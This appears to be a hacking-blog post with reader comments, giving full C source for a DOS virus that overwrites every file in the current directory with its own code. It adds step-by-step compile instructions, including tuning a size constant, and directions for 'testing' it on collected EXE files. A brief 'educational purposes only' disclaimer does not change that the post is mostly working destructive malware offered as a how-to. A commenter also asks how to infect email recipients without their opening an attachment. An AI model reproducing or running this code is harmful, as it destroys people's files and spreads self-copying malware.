How to Create a Computer Virus?
This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY
Visitors who read this post, also read:

This is the same as the one posted at http://vx.netlux.org/lib/vbw06.html and for obvious reasons it wont compile, there are minute erros to prevent little script kiddies from using it
good
Hi,
Let me give you a question.
I can infect a victim with a virus sent by e-mail without the recipient opens the attachment?
Thank you!
Veronika.
hey shrikant,don’t laugh if i ask this question. I don’t know a word about C. Is it a software ?? or what??….. all that u wrote in this post have to be entered in the software??? or have i to learn C to know all that?
@ Himanshu
C is a programming language.You need to learn this programming language to understand the codes that I have written on my site!
Nice………..& thaks
awe some keep it up n create more.
Hey Sriki,i m much appreciated with ur work,i compiled the above code and gettin 4 errors as below:
1- FILE *virus,*host ;(this has got error)
2- undefined symbol VIRUS(i think thats because of the first error)
if i get a solution for the first one i think i can compile it without error…i hope u ll help me..ty bhayya
oh ya ..i forgot to tel u one thing,,,i m using turbo c++ :)…
Hey you are not at all infecting other files, you are just copying your files with the names of the files present in the directory…..
But in case of infection, the virus code resides with the original content, if your virus is infecting, for example, the notepad.exe file, then it should retain its obvious functions and with that the virus content too, I mean than when we run infected notepad.exe, then it should open up the notepad and execute the virus code tooo, not just the virus code, otherwise it wont survive longer……
Leave your response!
GOOGLE HACKS »
Advanced Google Search
In this post I will show you some of the secrets of Advanced Google Search.
Google is clearly the best general-purpose search engine on the Web.But most people don’t use it to its best advantage or …
NETWORK HACKS »
Port Scanning
Port Scanning is one of the most popular techniques used by hackers to discover services that can be compromised.
A potential target computer runs many ’services’ that listen at ‘well-known’ ‘ports’.
By scanning which ports are available …
ORKUT HACKS »
How to Copy Locked Photos from Orkut ?
Recently Orkut updated it’s security feature and disabled Right-click on photos of friend’s album.So this makes it difficult to copy photos from Orkut.It’s a new security update made by Orkut to prevent people from copying …
REGISTRY HACKS »
Run Program at Startup Only Once
This hack allows you to run a program at startup only once.This hack also avoids the need of startup folder and the autorun is configured in the registry itself.In this hack the specified program runs …
VISTA HACKS »
Creating a Virus to Block Websites
Most of us are familiar with the virus that used to block Orkut and Youtube site.If you are curious about creating such a virus on your own, then you are in the right place.Tody I’ll …
Categories
Archives
Blogroll
Recent Comments
Most Commented
Most Popular
Powered by WordPress | Log in | Entries (RSS) | Comments (RSS) | Sitemap | Arthemia Premium theme by Michael Jubel